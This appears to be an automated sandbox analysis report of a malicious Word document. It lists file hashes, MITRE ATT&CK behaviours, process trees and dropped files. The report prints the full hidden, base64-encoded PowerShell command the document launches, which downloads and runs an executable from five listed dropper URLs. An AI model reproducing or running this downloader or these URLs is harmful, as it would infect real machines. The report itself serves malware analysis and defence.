a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35

General

Target

a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc
Size

181KB
MD5

c87b8d603c1bbb68f7043b828d4f33d2
SHA1

9212853008d9740e1be2f2bc211160ac3a93d15f
SHA256

a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35
SHA512

8919fba1472d8b8cb175cab9b59414b4ba9b213bed93576cbedff9d73dabbc2703c597f3723b6a12991801be63765233bba7c3d032216206c48b78c5834dc7d3
SSDEEP

3072:6FOa2y/GdyDktGDWLS0HZWD5w8K7Nk9ND7IBUd5xKu/UW:COa2k43tGiL3HJk9ND7bdnKu/D

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://eilonstrategy.florencesoftwares.com/wp-content/mu/

exe.dropper

http://pakiskemenagntb.com/wp-content/4k/

exe.dropper

http://ivyfriend.com/ivypal/wp-includes/h20/

exe.dropper

http://julianaweb.cordeldigital.com/wp-includes/0vu/

exe.dropper

http://itsallinclusive.com/ar/Xd7OiT/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	720	1620	Powershell.exe	84

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	720	Powershell.exe
32	720	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
720	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1128	WINWORD.EXE
1128	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
720	Powershell.exe
720	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	720	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1128	WINWORD.EXE
1128	WINWORD.EXE
1128	WINWORD.EXE
1128	WINWORD.EXE
1128	WINWORD.EXE
1128	WINWORD.EXE
1128	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 2868	1128	WINWORD.EXE	85
PID 1128 wrote to memory of 2868	1128	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2868

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABGAHcAZABwAGMAZgBrAG8AbAB0AD0AJwBVAGIAcgBuAGIAaQBkAGoAbwB2AG4AJwA7ACQATgBuAGkAcQB3AGQAdQBmACAAPQAgACcANAA1ADMAJwA7ACQARAB1AGMAeQBiAGkAZgB2AHoAagBiAD0AJwBCAHoAagBzAHEAcQB6AHQAZwB5AGkAYgBtACcAOwAkAEUAZgBlAHcAeQBoAGsAeQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAG4AaQBxAHcAZAB1AGYAKwAnAC4AZQB4AGUAJwA7ACQAVwBqAGoAcgBkAG8AYwBxAG0AbQBzAGIAPQAnAEMAaQBtAHYAbABjAGoAZQBkAHcAdgBuAHUAJwA7ACQAQQBxAHcAdwBlAHQAcABxAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMAbABJAGUAbgB0ADsAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwA9ACcAaAB0AHQAcAA6AC8ALwBlAGkAbABvAG4AcwB0AHIAYQB0AGUAZwB5AC4AZgBsAG8AcgBlAG4AYwBlAHMAbwBmAHQAdwBhAHIAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB1AC8AKgBoAHQAdABwADoALwAvAHAAYQBrAGkAcwBrAGUAbQBlAG4AYQBnAG4AdABiAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANABrAC8AKgBoAHQAdABwADoALwAvAGkAdgB5AGYAcgBpAGUAbgBkAC4AYwBvAG0ALwBpAHYAeQBwAGEAbAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGgAMgAwAC8AKgBoAHQAdABwADoALwAvAGoAdQBsAGkAYQBuAGEAdwBlAGIALgBjAG8AcgBkAGUAbABkAGkAZwBpAHQAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwAHYAdQAvACoAaAB0AHQAcAA6AC8ALwBpAHQAcwBhAGwAbABpAG4AYwBsAHUAcwBpAHYAZQAuAGMAbwBtAC8AYQByAC8AWABkADcATwBpAFQALwAnAC4AIgBzAHAATABgAGkAVAAiACgAJwAqACcAKQA7ACQAVAB4AHAAaABsAHoAcAB6AGoAZABoAHoAagA9ACcAWQBvAHAAdABkAHAAdwBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0AegB4AG0AYQBiAGwAawB5AGMAdgBuACAAaQBuACAAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwApAHsAdAByAHkAewAkAEEAcQB3AHcAZQB0AHAAcQAuACIAZABPAFcAYABOAEwAYABPAEEAZABmAEkAYABsAGUAIgAoACQATQB6AHgAbQBhAGIAbABrAHkAYwB2AG4ALAAgACQARQBmAGUAdwB5AGgAawB5AGQAKQA7ACQAUgBnAG4AdgBxAHUAZQB1AHQAcAA9ACcAWABhAG4AagBjAHMAZQBjAGEAaQB4AHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAGYAZQB3AHkAaABrAHkAZAApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANQAzADgAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAVAAiACgAJABFAGYAZQB3AHkAaABrAHkAZAApADsAJABUAGcAeAByAG8AaQBjAGgAPQAnAE4AbQBuAHUAcABkAHEAdgB1AHMAJwA7AGIAcgBlAGEAawA7ACQARgB0AG8AdwB3AGoAaQBpAHAAbwBzAD0AJwBOAHcAeABvAGwAdQBzAGUAeABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAbABmAGcAYwBtAGUAaABkAGEAZAA9ACcATQB0AHkAegB3AHkAdAB0AGoAYgBnAHMAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E3EA4A1B.wmf

Filesize
444B

MD5
0797262c833872f7fc89ea81f007f331

SHA1
947e5449bd4d7301ed234f4a4538f1976b71a1a2

SHA256
1a14016417f85efc7a655c0fe2b4b77da934107ac2692ece033ae181ff999025

SHA512
5078d4cee502c3cea192fe0f6d576ad6e079dd1c52c3f357febea28742b0503dd59428865d0eef8596320dec2c627f2179d8749e85b9a655dd0e92d5077f36bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD115A.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zvs1j0bk.cb1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
d36ec6b324338a5ecd82e1f8033cffe0

SHA1
642fd1e50ee0d17d93c04779e0a9a9d947277826

SHA256
1afe7d700c9b9c960ad69ee4be51caf4063798645ad212591fb278d9003d1a29

SHA512
8615e9c2f9d047b2acce5f7bd3ca397248f72d4f4b57339a1d378bb7ec5fab16ab9f99c375ba0d6d7ff170487800ea29225cd1933478a4b6622b00b86fb198bb

Download Submit
memory/720-59-0x000002C1F9F10000-0x000002C1F9F32000-memory.dmp

Filesize
136KB

Download
memory/1128-10-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-18-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-1-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp

Filesize
4KB

Download
memory/1128-9-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-14-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-13-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-17-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-15-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

Filesize
64KB

Download
memory/1128-12-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-16-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-11-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-6-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-19-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

Filesize
64KB

Download
memory/1128-8-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-7-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-5-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/1128-4-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/1128-2-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/1128-67-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-68-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp

Filesize
4KB

Download
memory/1128-69-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-70-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

Filesize
2.0MB

Download
memory/1128-3-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download
memory/1128-0-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads